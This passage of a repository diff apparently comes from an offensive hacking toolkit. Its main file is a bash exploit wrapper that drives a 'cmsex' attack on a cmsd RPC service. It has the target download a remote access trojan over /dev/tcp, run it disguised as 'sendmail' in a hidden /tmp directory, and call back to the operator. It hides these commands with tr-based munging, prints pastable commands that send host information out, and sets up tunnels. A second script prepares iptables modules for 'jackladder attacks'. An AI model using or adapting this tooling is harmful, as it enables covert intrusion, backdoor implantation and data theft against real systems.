-z Do NOT use uncomrpess at the far end (so DO NOT compress here)
-P Assume PATH=. will fail so use ./ratname
-M Disable remote command munging via tr.
-G Retry exploit--using already uploaded RAT (useful when you need
to try adding -P option or try another RAT callback port).
"
usagetext="$usagetextshort
In the usual upload/execute mode, unless the -T option is used, $PROG
uses the remote system's tr program (see \"man tr\") to unmunge the
string sent via cmsex into the commands we want him to execute. See dtail
below. $PROG will build and show the munged and unmunged strings,
prompting to abort or continue before any packets are sent.
$PROG uses ./cmsex to send a sequence of commands to target that
uploads and executes a RAT (NOPEN).
NOTE: The environment variables E and A, if defined, will be put on command
line before the rat (put environment vars here) and after the rat (put fake
args here or other commands to execute), respectively. If you use \$E or \$A,
they will not necessarily override those set/used by the rat server.
NOTE: they are not necessary for NOPEN ports/callbacks set with above
options. E.g., you could use A=\"; rm sendmail\" if you want.
"
note() {
unset N
if [ "$1" = "-n" ] ; then
N=$1
shift
fi
echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL"
}
notered() {
unset N
if [ "$1" = "-n" ] ; then
N=$1
shift
fi
echo -e $N "$COLOR_FAILURE${*}$COLOR_NORMAL"
}
tunnelcmd() {
echo "${*}" | nc -w1 -u 127.0.0.1 $TUNNELPORT
}
usage() {
[ "$1" = "exit" ] && EXIT=1 && shift
if [ "$1" = "-h" ] ; then
shift
[ "$ERRSTR" ] || ERRSTR="\nNOTE: \a THE DEFAULT REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!"
echo -e "$usagetext"
echo "Usage: $SYNTAX"
echo "$PROG version $VER"
fi
if [ "$1" = "-v" ] ; then
echo "$PROG version $VER"
shift
fi
ERRSTR="${*}"
if [ "$ERRSTR" ] ; then
notered "\a${ERRSTR}"
fi
[ "$EXIT" ] && exit
} # end usage
doit() {
CMDLINE="\nCommandLine: ${0} ${*}"
CALLBACKDELAY=$DEFCALLBACKDELAY
# lab testing?
ifconfig 2>&1 | grep "555.1\.2\." > /dev/null && CALLBACKDELAY=4
unset NOPENPORT CALLBACKIP CALLBACK OLDCMD USE_TR NOZIP PACKARGS DOTSLASH CMDOVERRIDE SCRIPT
unset UNCOMPRESS REDIRECT UUARG FOUNDNOCLIENTLISTENER
RETRYONLY=0
USE_TR=yes
[ "${*}" ] || usage exit -h
while getopts p:cl:ths:zPvu:s:Ri:n:r:D:P:a:S:C:MT:G op; do
case $op in
h) usage exit -h ;;
v) usage exit -v ;;
i) REMOTE_IP="${OPTARG}" ;;
n) LOCAL_PORT="$OPTARG" ;;
l) LOCAL_IP="$OPTARG";;
r) REMOTE_FNAME="$OPTARG" ;;
D) REMOTE_DIR="$OPTARG" ;;
p) NOPENPORT="$OPTARG";;
a) [ "$ARCH" ] || ARCH="$OPTARG";;
u) CMSD_PORT="$OPTARG"
CMSD_PROTO="udp"
CMSD_ARG="-u $OPTARG" ;;
t) CMSD_PORT="$OPTARG"
CMSD_PROTO="tcp"
CMSD_ARG="-t $OPTARG" ;;
M) USE_TR="";;
E) RAT_PREARGS=" $OPTARG";;
A) RAT_POSTARGS=" $OPTARG";;
C) CALLBACKIP="$OPTARG"
CALLBACK=" callback";;
c) CALLBACK=" callback";;
s) CALLBACKDELAY="$OPTARG";;
z) NOZIP=yes
PACKARGS=" -z" ;;
P) DOTSLASH="./";;
R) CMDOVERRIDE=yes ;;
T) CMSD_TARGETCODE="-T $OPTARG";;
S) SCRIPT="$OPTARG" ;;
G) RETRYONLY=1 ;;
esac
done
shift `expr $OPTIND - 1`
[ "$#" -eq 0 -a "$REMOTE_IP" ] || usage exit -h
# fixed defaults here (random ports and such elsewhere)
[ "$SCRIPT" ] || SCRIPT="...."
[ "$REMOTE_FNAME" ] || REMOTE_FNAME=sendmail
[ "$REMOTE_DIR" ] || REMOTE_DIR=/tmp/.scsi
if [ ! "$CMDOVERRIDE" ] ; then
if [ ! "$NOPENPORT" ] ; then
if [ "$RANDOMNOPENPORT" ] ; then
# reuse same random if we have it from last loop
NOPENPORT=$RANDOMNOPENPORT
else
NOPENPORT=`mkrandom -n 2>/dev/null`
TMPTEST=`ps -wef 2>/dev/null | grep "noclient -l" | grep -v grep | head -1 | awk '{print \$10}'`
if [ "$TMPTEST" -a "$CALLBACK" ] ; then
notered "Seeing a \"noclient -l $TMPTEST\", so using $TMPTEST for NOPEN callback port"
FOUNDNOCLIENTLISTENER=1
NOPENPORT=$TMPTEST
fi
unset TMPTEST
RANDOMNOPENPORT=$NOPENPORT
fi
fi
if [ ! "$NOPENPORT" ] ; then
usage "mkrandom not in path--needed to generate random port for NOPEN\n(use -p # to force a particular port)"
return
fi
fi
[ "$E" ] && RAT_PREARGS=" $RAT_PREARGS $E" && echo "RAT_PREARGS=\"$RAT_PREARGS\""
[ "$A" ] && RAT_POSTARGS=" $RAT_POSTARGS $A" && echo "RAT_POSTARGS=\"$RAT_POSTARGS\""
echo ""
# show what we were called with
echo -e "$CMDLINE"
# Check to make sure tcp LISTEN is there
PORTS=`netstat -an | grep tcp.*LIST | cut -f 2 -d ":" | sort -rn | awk '{print $1}' |egrep -v "6000"`
if [ "$NOPENPORT" ] ; then
TMP=" random"
[ "$FOUNDNOCLIENTLISTENER" ] && TMP=" ${COLOR_FAILURE}FOUND$COLOR_NOTE"
note "Using$TMP NOPEN$CALLBACK port $NOPENPORT"
fi
note Local ports LISTENing: $PORTS
echo
which packrat >/dev/null 2>&1
NOPACKRAT=$?
if [ ! "$CMDOVERRIDE" -a $RETRYONLY == 0 ] ; then
if [ "$AUTOMODE" ] ; then
# autoattack mode so yes we want packrat
PACKRAT_SCRIPME=yes
else
RANDOMORNOT=""
if [ "$LOCAL_PORT" ] ; then
for i in $PORTS -1 ; do
[ "$i" = "$LOCAL_PORT" ] && break
done
if [ $i -lt 0 ] ; then
if [ -e $NOSERVER -a "$NOPACKRAT" = "0" ] ; then
PACKRAT_SCRIPME=yes
else
[ "$NOPACKRAT" = "0" ] || notered "No packrat in your path"
notered "YOU MUST have a local LISTEN port on $LOCAL_PORT, and YOU DO NOT have /current/up/noserver\n\ato start one automatically"
sleep 3
notered "\a\nProceeding, assuming YOU WILL EITHER ABORT OR START LISTENER before continuing\npast next prompt."
fi
else
notered "\aLocalPort=$LOCAL_PORT provided on command line already LISTENing. Assuming that is the upload."
sleep 2
fi
else
unset ans MAKENEWPORT
if [ "$RANDOMLOCAL_PORT" ] ; then
$LOCAL_PORT=$RANDOMLOCAL_PORT
else
MAKENEWPORT=1
fi
while [ "$MAKENEWPORT" ] ; do
LOCAL_PORT=`mkrandom -n 2>/dev/null`
RANDOMORNOT=" a random"
RANDOMLOCAL_PORT=$LOCAL_PORT
[ ! "$LOCAL_PORT" ] && usage "mkrandom not in path--needed to generate random rat upload port"
ALREADYTHERE=`netstat -an | grep tcp.*LIST | grep ":$LOCAL_PORT "`
[ "$ALREADYTHERE" ] || break
done
while [ ! -e $NOSERVER ] ; do
notered Put correct noserver into $NOSERVER and hit return or ^C to abort.
read ans
continue
done
if [ "$NOPACKRAT" = "0" ] ; then
PACKRAT_SCRIPME=yes
else
usage exit "No packrat in your path$COLOR_NORMAL"
fi
fi
note "Using$RANDOMORNOT port ($LOCAL_PORT) for local RAT upload listener (packrat)"
unset RANDOMORNOT
fi
for pid in `pidof nc` ; do
UULISTEN=`ls -al /proc/$pid/fd | grep \.uu`
if [ "$UULISTEN" -a ! "$OLDCMD" ] ; then
usage exit "NOT GOOD: Your netcat LISTEN seems to be sending a .uu file--DO NOT (see usage):
# ls -al /proc/$pid/fd | grep \.uu\n$UULISTEN"
fi
done
fi # if ! $CMDOVERRIDE -a ! "$RETRYONLY"
if [ ! "$LOCAL_IP" ] ; then
if [ ! "`which grepip 2>/dev/null`" ] ; then
notered "\aMust have \"grepip\" in path or provide -l IP on command line"
exit
fi
for INT in ppp0 ppp1 eth0 eth1 ; do
ADDR=`ifconfig $INT 2>/dev/null | grepip | egrep -v "255|127\.0" | head -1`
[ "$ADDR" ] && LOCAL_IP=$ADDR
[ "$LOCAL_IP" ] && break
done
while [ ! "$LOCAL_IP" ] ; do
echo -en "What is your local/redirector IP address? "
[ "$LOCAL_IP" ] && echo -en "[$LOCAL_IP] "
read ans
[ "$ans" -a "${ans:0:1}" != "y" -a "${ans:0:1}" != "Y" ] && \
LOCAL_IP=$ans
LOCAL_IP=`echo $LOCAL_IP | grepip`
[ "$LOCAL_IP" ] || echo -e "\n\n\a$ans is not a valid IP. Try again.\n\n"
done
INT=" ($INT)"
note "Using $LOCAL_IP$INT for -l local IP argument"
fi
# Check for required args
[ -z "$REMOTE_IP" ] && usage exit "Error: missing remote IP (-i)"
[ -z "$CMSD_ARG" ] && usage exit "Error: missing cmsdPort (-u/t). Use port 0 to query via rpc."
# DBG: Temporarily take this out allow rpc/111 to figure it out
if [ ! "$CMDOVERRIDE" ] ; then
[ -z "$REMOTE_DIR" ] && usage exit "Error: missing remote directory (-D)"
[ "${REMOTE_DIR:0:1}" = "/" ] ||
usage exit "\a\nREMOTEDIR ($REMOTE_DIR) must start with \"/\"."
[ -z "$REMOTE_FNAME" ] && usage exit "Error: missing remote filename (-r)"
[ -z "$LOCAL_IP" ] && usage exit "Error: missing local IP (-l)"
[ -z "$LOCAL_PORT" ] && usage exit "Error: missing local netcat port (-n)"
fi
if [ "${REMOTE_IP:0:3}" = "127" ] ; then
REDIRECT=yes
ifconfig -a | grep $LOCAL_IP > /dev/null && NOTGOOD=yes
if [ "$NOTGOOD" ] ; then
notered "ARE YOU SURE? It looks like you are redirecting (due to remote being $REMOTE_IP),
and yet you want the RAT callback to go to $LOCAL_IP, WHICH\a IS ONE OF YOUR LOCAL IPs???"
sleep 1
notered -n "\nHit ^C to abort or enter to continue DESPITE THIS PROBLEM!!\a"
read blah
fi
DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1`
[ ! "$ACTUALTARGET" ] && [ "$AUTOMODE" ] && ACTUALTARGET=$TARGETIP
until [ `echo $ACTUALTARGET | grepip 2>/dev/null` ] ; do
[ "$ACTUALTARGET" ] && echo Bad IP $ACTUALTARGET
echo -en "\nEnter Target IP after redirecting through $LOCAL_IP: "
[ "$DEFTARGET" ] && echo -en "[$DEFTARGET] "
read ACTUALTARGET
[ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET
done
note Redirecting via 127.0.0.1/$LOCAL_IP to $ACTUALTARGET
if [ "$AUTOMODE" ] ; then
# Anything specific to automated usage here
note In AUTO/-sploit mode
fi
fi
if [ "$PACKRAT_SCRIPME" ] ; then
[ "$OLDCMD" ] || UUARG="-u"
TMPOKPACKRAT=`netstat -an | egrep "^tcp.*(0.0.0.0|127.0.0.1):$LOCAL_PORT .*LISTEN"`
if [ "$TMPOKPACKRAT" ] ; then
TMPPSOK=`ps -efwwwww | grep packrat.*$LOCAL_PORT`
if [ "$TMPPSOK" ] ; then
note "Seems like packrat is already LISTENing on $LOCAL_PORT. Not starting another."
else
notered "SOMETHING is listening on $LOCAL_PORT, but there is no \"packrat.*$LOCAL_PORT\" in ps listing\a"
sleep 2
notered "Proceeding anyway. Make sure you know what you are doing.\a"
sleep 2
fi
unset TMPPSOK
else
EXPLOIT_SCRIPME="packrat$PACKARGS $UUARG $REMOTE_FNAME $NOSERVER $LOCAL_PORT"
note "Starting local packrat LISTENer to send noserver via port $LOCAL_PORT"
export EXPLOIT_SCRIPME
echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t PACKRAT -F -X \"-bg slategrey -fg white -geometry 131x39-0+0\"
EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t PACKRAT -F -X "-bg slategrey -fg white -geometry 131x39-0+0"
fi
unset TMPOKPACKRAT
fi
if [ "$CALLBACK" -a ! "$CALLBACKIP" ] ; then
CALLBACKIP="$LOCAL_IP"
else
if [ "$CALLBACK" -a ! "$LOCAL_IP" = "$CALLBACKIP" ] ; then
note "-C argument given for callback--overriding -l local IP from command line: $LOCAL_IP"
fi
fi
if [ "$CALLBACK" ] ; then
RAT_PREARGS=" S=$CALLBACKDELAY D=-uc${CALLBACKIP}:${NOPENPORT}"
if [ "$REDIRECT" ] ; then
if [ "$FOUNDNOCLIENTLISTENER" ] ; then
notered "\aYou SEEM TO already have a NOPEN listener on $NOPENPORT.
CONFIRM THAT IT IS ON $CALLBACKIP!!\n\n"
else
notered "\aYou must establish a NOPEN listener on $CALLBACKIP:$NOPENPORT\n\n"
PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP"`
[ "$PASTABLE" ] && PASTABLE="\ncd /current/down\n${PASTABLE}"
ifconfig -a | grep $CALLBACKIP && ITSLOCAL=yes
if [ "$ITSLOCAL" ] ; then
echo "remote nopen window on $CALLBACKIP AND local listener:"
note "\ncd /current/down/\n${PASTABLE}\n/current/bin/noclient -l $NOPENPORT\n\n"
else
echo "remote nopen window on $CALLBACKIP:"
note "${PASTABLE}\n\n-nrtun $NOPENPORT\n\n"
# PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP" | sed "s/noclient/noclient -c \"-nrtun $NOPENPORT\"/"`
# EXPLOIT_SCRIPME="${PASTABLE}" scripme -t NOCLIENT -F -X " -geometry 131x39"
fi
fi
notered -n "Hit ^C to abort or enter once NOPEN callback window is ready"
read blah
else # not redirecting
POSTRUN="noclient -l $NOPENPORT"
fi
else # not callback
RAT_PREARGS=" D=-ul${NOPENPORT}"
if [ "$REDIRECT" ] ; then
POSTRUN2="-nstun $ACTUALTARGET ${NOPENPORT}"
else
POSTRUN2="noclient ${REMOTE_IP}:${NOPENPORT}"
fi
fi
if [ ! "$CMDOVERRIDE" ] ; then
if [ ! "$NOZIP" ] ; then
UNCOMPRESS="&& uncompress -f ${REMOTE_FNAME}.Z"
[ "$OLDCMD" ] || UNCOMPRESS=".Z&&uncompress -f ${REMOTE_FNAME}.Z"
fi
# this one has more spaces...don't use unless other fails...
CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && /bin/ksh -c \"/bin/cat < /dev/tcp/${LOCAL_IP}/${LOCAL_PORT} > ${REMOTE_FNAME}${UNCOMPRESS} && chmod 755 ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}\""
CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&/bin/ksh -c \"/bin/cat < /dev/tcp/${LOCAL_IP}/${LOCAL_PORT} > ${REMOTE_FNAME}${UNCOMPRESS}&&chmod 755 ${REMOTE_FNAME}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}\""
if [ "$OLDCMD" ] ; then
CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&telnet ${LOCAL_IP} ${LOCAL_PORT}</dev/console|uudecode>/dev/null 2>&1 ${UNCOMPRESS}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}"
fi
else
CMD=""
$SETCOLOR_NOTE
[ ! "$REMOTE_DIR" = "/tmp" ] && TMP=" rm -rf ${REMOTE_DIR} ; ls -arlt /tmp ;"
[ ! "$TMP" ] && TMP=" rm -rf ${REMOTE_DIR}/$REMOTE_FNAME ;"
echo -e "You may want to start something like this locally (YOU do this netcat--it is not automatic),
or you may see no evidence of what you want done:\n"
notered "LOCALLY:"
echo -e " nc -l -p 443"
echo ""
notered "Some pastable examples for the REMOTE end (pick one, or mix and match--up to you):"
echo -e " ksh -c \"( w ; uname -a ) > /dev/tcp/$LOCAL_IP/443\""
echo -e " ( w ; uname -a ) | telnet $LOCAL_IP 443"
echo -e " ksh -c \"($TMP ls -alrt ${REMOTE_DIR} ) > /dev/tcp/$LOCAL_IP/443\""
echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP 443"
echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP `mkrandom -n 2>/dev/null`"
echo ""
unset TMP
while [ ! "$CMD" ] ; do
notered "Enter Commands to run on target (see above examples), separated by \";\".\n"
read CMD
done
note "\nCommands being run: $CMD\n"
fi # if $CMDOVERRIDE
# this is unused for now--old cmsex.tn way
OLDOLDCMD="echo \"
PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin
export PATH
mkdir -p ${DIR}
cd ${DIR}
(echo 'open ${LOCAL_IP} ${LOCAL_PORT}';/bin/cat)| /bin/telnet | /bin/cat| /usr/bin/uudecode > /dev/null 2>&1
uncompress -f ${RUN_FILE}.Z
chmod 0700 ${DIR}/${RUN_FILE}
PATH=${DIR} ${RUN_FILE}
rm ${SCRIPT}
\" > ${SCRIPT}
/bin/sh ${SCRIPT}
"
if [ "$USE_TR" ] ; then
# tr sets
#SET1="'0-}'"
#SET2="'1-~'"
ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZ./abcdefghijklmnopqrstuvwxyz0123456789 <&"
THERE=`which permute 2>/dev/null`
if [ ! "$THERE" ] ; then
if [ -x "../bin/permute" ] ; then
export PATH=../bin:$PATH
else
usage exit "FATAL ERROR: No \"permute\" in path."
fi
fi
SET1=`permute "$ALPHA"`
SET2=`permute "$SET1"`
MUNGED="`echo "${CMD}" | tr "${SET1}" "${SET2}"`"
UNMUNGED="`echo \"${MUNGED}\" | tr "${SET2}" "${SET1}"`"
echo "
munging via:
tr \"$SET1\" \"$SET2\"
and vice versa.
MUNGED=\"$MUNGED\"
UNMUNGED=\"$UNMUNGED\"
"
if [ "$SET1" = "$SET2" ] ; then
echo "SET1=\"$SET1\""
usage exit "FATAL ERROR. SET1 is the same as SET2."
fi
if [ ! "$UNMUNGED" = "$CMD" ] ; then
echo "$UNMUNGED" > /tmp/UNMUNGED.$$
echo "$CMD" > /tmp/CMD.$$
cmp /tmp/UNMUNGED.$$ /tmp/CMD.$$
wc /tmp/UNMUNGED.$$ /tmp/CMD.$$
usage "FATAL ERROR. UNMUNGE TEST FAILED"
else
echo -e "PASSSED TEST: \$CMD eq \$UNMUNGED.\n"
fi
$SETCOLOR_NOTE
echo -e "Now running this locally:\n
cmsex -i $REMOTE_IP $CMSD_ARG $CMSD_TARGETCODE \
-c \"echo '${MUNGED}'|tr '${SET2}' '${SET1}'|sh\"\n"
else
notered "\a\nNOT MUNGING--CMD going over in the clear.\n\n"
echo -e "About to run this locally:\n
cmsex -i $REMOTE_IP $CMSD_ARG $CMSD_TARGETCODE \
-c \"$CMD\"\n"
fi
if [ "$POSTRUN" ] ; then
echo -e "AND THEN the following will start automatically:\n\n$POSTRUN$COLOR_NORMAL\n"
fi
notered -n "<A>bort or <C>ontinue? [C] "
read blah
if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then
notered "ABORTING!"
exit
fi
if [ "$REDIRECT" ] ; then
note "Sending tunnel commands to 127.0.0.1:$TUNNELPORT"
if [ $ATTEMPT -eq 1 ] ; then
# tunnelcmd c 1 2
tunnelcmd u $CMSD_PORT $ACTUALTARGET
else
tunnelcmd c 2
fi
tunnelcmd r $LOCAL_PORT
tunnelcmd s
fi
# while [ 1 ] ; do
# Now check what we can before continuing
echo ""
while [ 1 ] ; do
if [ "$CALLBACK" ] ; then
if [ "$REDIRECT" ] ; then
OKNRTUN=`netstat -an | grep "^tcp.*:$NOPENPORT " | egrep "ESTAB|LISTEN"`
else
OKNRTUN=okeydokey
fi
else
OKNRTUN=okeydokey
fi
[ "$REDIRECT" ] || OKCMSD_PORT=okeydokey
[ "$REDIRECT" ] && OKCMSD_PORT=`netstat -an | egrep -i "^${CMSD_PROTO}.*0 (0.0.0.0|127.0.0.1):$CMSD_PORT "`
OKPACKRAT=`netstat -an | egrep "^tcp.*(0.0.0.0|127.0.0.1):$LOCAL_PORT .*LISTEN"`
[ "$CMDOVERRIDE" -o $RETRYONLY == 1 ] && OKPACKRAT=nevermind
[ "$OKCMSD_PORT" ] || notered "No $CMSD_PROTO/$CMSD_PORT seen locally in netstat"
if [ ! "$OKNRTUN" ] ; then
notered "No -nrtun or noclient -l for callback seen locally on port $NOPENPORT in netstat"
note "${PASTABLE}\n\n-nrtun $NOPENPORT\n\n"
fi
if [ ! "$OKPACKRAT" ] ; then
if [ "$OKCMSD_PORT" -a "$OKNRTUN" ] ; then
notered "waiting for packrat to start on port $LOCAL_PORT"
else
notered "No packrat seen locally on port $LOCAL_PORT in netstat"
fi
fi
[ "$OKCMSD_PORT" ] && [ "$OKNRTUN" ] && [ "$OKPACKRAT" ] && break
[ "$OKCMSD_PORT" ] && [ "$OKNRTUN" ] && sleep 2 && continue
unset OKCMSD_PORT OKNRTUN OKPACKRAT
notered "\a\n\nCANNOT PROCEED"
notered "\a\n\nFix this and either ^C or hit Enter to try again."
read blah
done
if [ "$USE_TR" ] ; then
note "\n\nrunning this locally (using tr remotely):\n\ncmsex -i $REMOTE_IP $CMSD_ARG $CMSD_TARGETCODE \
-c \"echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh\"\n\n"
cmsex -i $REMOTE_IP $CMSD_ARG $CMSD_TARGETCODE \
-c "echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh"
else
note "\n\nrunning this locally:\n\ncmsex -i $REMOTE_IP $CMSD_ARG $CMSD_TARGETCODE \
-c \"$CMD\"\n\n"
cmsex -i $REMOTE_IP $CMSD_ARG $CMSD_TARGETCODE \
-c "$CMD"
fi
# done
if [ ! "$CMDOVERRIDE" ] ; then
if [ "$POSTRUN" ] ; then
notered "\n\n\aNOTE: Callback will not occur for $CALLBACKDELAY seconds or more"
notered " and MAYBE NOT until upload completes AND you ^C the netcat upload.\n\n"
notered "\nNow running nopen listener with: $POSTRUN\n"
exec $POSTRUN
fi
if [ "$POSTRUN2" ] ; then
note "\nOnce you see all is done, you may want to proceed with:\n\n$POSTRUN2\n\n"
notered NOTE: Listener may not be active until you ^C the netcat upload.
fi
fi
} # end doit procedure
if [ "$ARCH" ] ; then
NOSERVER=`ls -1 /current/up/morerats/noserver*solaris-2.6 2>/dev/null | grep -i ${ARCH} | tail -1`
fi
[ "$NOSERVER" ] || NOSERVER=/current/up/noserver
[ "${*}" ] || usage exit -h
[ "${*}" = "-h" ] && usage exit -h
[ "${*}" = "-v" ] && usage exit -v
ATTEMPT=1
while [ 1 ] ; do
# This is called by autoattack so allow changes
ALLOWCHANGE="$AUTOMODE$NEEDT"
[ $ATTEMPT -gt 1 ] && ALLOWCHANGE=yes
if [ "$ALLOWCHANGE" -a "$ARGS${*}" ] ; then
if [ "$ARGS" ] ; then
notered "Last attempt used these arguments:\n$COLOR_NORMAL\n${ARGS}\n"
OPTIND=1
else
# show short usage here
echo -e "$usagetextshort"
notered "Automatic mode has pre-set these arguments:\n$COLOR_NORMAL\n${*}\n"
ARGS="${*}"
fi
TMPTARGETIP="TARGETIP"
[ "$TARGETIP" ] && TMPTARGETIP=$TARGETIP
note "\n\nIf unsure of what target (-T#) to use, these -scans might be helpful:\n
-scan snmp1 $TMPTARGETIP one
-scan snmp2 $TMPTARGETIP one
-scan telnet $TMPTARGETIP one\n"
notered "\n\nJust hit return to keep these arguments, or input a new and complete argument\nstring to use instead:\n"
read ans
if [ "$ans" ] ; then
ARGS="$ans"
note Changing arguments to: $ARGS
else
note NOT changing arguments
fi
TMPTEST=`echo "$ARGS" | grep -- "-T"`
if [ ! "$TMPTEST" ] ; then
if [ "$CMSEXTYPES" ] ; then
notered "$CMSEXTYPES\a"
fi
notered "\n\nYou must still provide the required \"-T #\" argument (see chart above from cmsex usage)."
NEEDT=yes
continue
else
NEEDT=
fi
else
ARGS="${*}"
TMPTEST=`echo "$ARGS" | grep -- "-T"`
if [ ! "$TMPTEST" ] ; then
if [ "$CMSEXTYPES" ] ; then
notered "$CMSEXTYPES\a"
fi
notered "\n\nYou must still provide the required \"-T #\" argument."
NEEDT=yes
continue
else
NEEDT=
fi
fi
unset TMPTEST
doit $ARGS
note "\n\n$PROG attempt number $ATTEMPT is complete."
if [ ! "$CMDOVERRIDE" ] ; then
if [ "$CALLBACK" ] ; then
notered "\nNOTE: Callback will not happen until $CALLBACKDELAY seconds or more have passed.\n"
while [ $CALLBACKDELAY -ge 0 ] ; do
notered -n "\rCounting down: $CALLBACKDELAY "
CALLBACKDELAY=`expr $CALLBACKDELAY - 1`
sleep 1
done
fi
fi
[ "$REDIRECT" ] && notered "\n\nIf this is your last sploit, you can close down the -tunnel
currently listening on $TUNNELPORT with this at any local prompt:
$COLOR_NORMAL
/current/bin/closetunnel\n\n"
note "\nIf it worked, hit return to exit.\n"
notered -n "Do you want to try again? [N] "
read ans
[ ! "$ans" -o "${ans:0:1}" = "n" -o "${ans:0:1}" = "N" ] && break
# echo -e "$usagetext"
# notered "\nIf \"ksh\" method might have failed, add the -t argument to try the old telnet way."
notered "If \"tr\" method might have failed, add the -M argument to disable munging."
# notered "If still failing after trying -t, -T and -tT, try cmsex.tn.gr_USE_WHEN_cmsex.auto_FAILS."
ATTEMPT=`expr $ATTEMPT + 1`
done
# disabled this for now 20030603
#if [ "$REDIRECT" ] ; then
# note "Closing down -tunnel ports"
# tunnelcmd c 1 2
# tunnelcmd q
#fi
if [ "$POSTRUN2" ] ; then
note "\nOnce you see all is done, you may want to proceed with:\n\n$POSTRUN2\n\n"
notered NOTE: Listener may not be active until you ^C the netcat upload.
fi
if [ "$AUTOMODE" ] ; then
ps -efwwww | grep PACKRAT | grep -v grep && \
notered "\n\nYou need to close packrat window before this one can exit.\n\n"
fi
GARBAGE="
-T Do NOT use tr at all (can be used with or without -t)
In the usual upload/execute mode, unless the -T option is used, $PROG
uses the remote system's tr program (see \"man tr\") to unmunge the
string sent via cmsex into the commands we want him to execute. See dtail
below. $PROG will build and show the munged and unmunged strings,
prompting to abort or continue before any packets are sent.
Command sent to cmsex will be munged (unless -T is used) from one of:
OLDCMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};telnet \${LOCAL_IP} \${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\"
CMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};/bin/ksh -c \"cat < /dev/tcp/\${LOCAL_IP}/\${LOCAL_PORT} > \${REMOTE_FNAME}.Z && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\"\"
OR if -T is used, one of these will be used but will not be munged.
t) OLDCMD=yes;;
"

34
Linux/bin/conf.iptables Executable file
View file

@ -0,0 +1,34 @@
#!/bin/bash
#
# $Log: conf.iptables,v $
# Attempt to identify OS and actual modules needed
#
# conf.iptables
# Run this to make sure you have the proper modules installed in
# order to properly run jackladder attacks
KERNEL_VERSION=`uname -r`
case $KERNEL_VERSION in
2.4*)
[ -n "`awk '/^ipchains/ {print $1}' < /proc/modules`" ] && \
rmmod ipchains
IPTABLES=ip_tables
isthere=`awk '/^ip_tables/ {print $1}' < /proc/modules`
;;
*)
IPTABLES=iptables
isthere=`awk '/^iptables/ {print $1}' < /proc/modules`
;;
esac
[ -z "`awk '/^ip_conntrack/ {print $1}' < /proc/modules`" ] && \
/sbin/insmod ip_conntrack
[ -z "`awk '/^ip_conntrack_ftp/ {print $1}' < /proc/modules`" ] && \
/sbin/insmod ip_conntrack_ftp
[ x = x$isthere ] && \
/sbin/insmod $IPTABLES
[ -z "`awk '/^ipt_state/ {print $1}' < /proc/modules`" ] && \
/sbin/insmod ipt_state

BIN
Linux/bin/connect.new.so Executable file

Binary file not shown.

BIN
Linux/bin/connect.so Executable file

Binary file not shown.

BIN
Linux/bin/connect.so.RHEL4 Executable file

Binary file not shown.

BIN
Linux/bin/connect.so.orig Executable file

Binary file not shown.

BIN
Linux/bin/connect.so.rh8 Executable file

Binary file not shown.

BIN
Linux/bin/connect12.so Executable file

Binary file not shown.

1
Linux/bin/copy-ds Symbolic link
View file

@ -0,0 +1 @@
copy-what

1
Linux/bin/copy-egg Symbolic link
View file

@ -0,0 +1 @@
copy-what

1
Linux/bin/copy-emerg Symbolic link
View file

@ -0,0 +1 @@
copy-what

1
Linux/bin/copy-fast Symbolic link
View file

@ -0,0 +1 @@
copy-what

Some files were not shown because too many files have changed in this diff Show more